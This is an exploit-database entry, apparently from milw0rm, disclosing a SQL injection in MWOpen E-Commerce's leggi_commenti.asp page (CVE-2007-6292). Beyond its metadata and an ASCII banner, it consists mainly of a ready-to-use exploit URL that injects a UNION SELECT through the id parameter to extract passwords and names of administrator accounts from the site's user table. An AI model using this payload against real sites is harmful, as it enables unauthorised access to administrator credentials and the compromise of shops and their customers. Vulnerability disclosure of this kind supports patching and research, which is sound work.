MWOpen E-Commerce - 'leggi_commenti.asp' SQL Injection
Author: KiNgOfThEwOrLd
type: webapps
platform: asp
port:
date_added: 2007-12-05
date_updated:
verified: 1
codes: OSVDB-39050;CVE-2007-6292
tags:
aliases:
screenshot_url:
application_url:
---------------------------------------------------------------
____ __________ __ ____ __
/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_
| |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\
| | | \ | |/ \ \___| | /_____/ | || |
|___|___| /\__| /______ /\___ >__| |___||__|
\/\______| \/ \/
---------------------------------------------------------------
Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
---------------------------------------------------------------
MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection
---------------------------------------------------------------
#By KiNgOfThEwOrLd
---------------------------------------------------------------
PoC:
Nothing to say..
Corrupted Page:
leggi_commenti.asp
Corrupted Variabile:
?id=
Exploit:
http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
null,password,nome,null,data,null+from+utenti+where+Admin=true
---------------------------------------------------------------
# milw0rm.com [2007-12-06]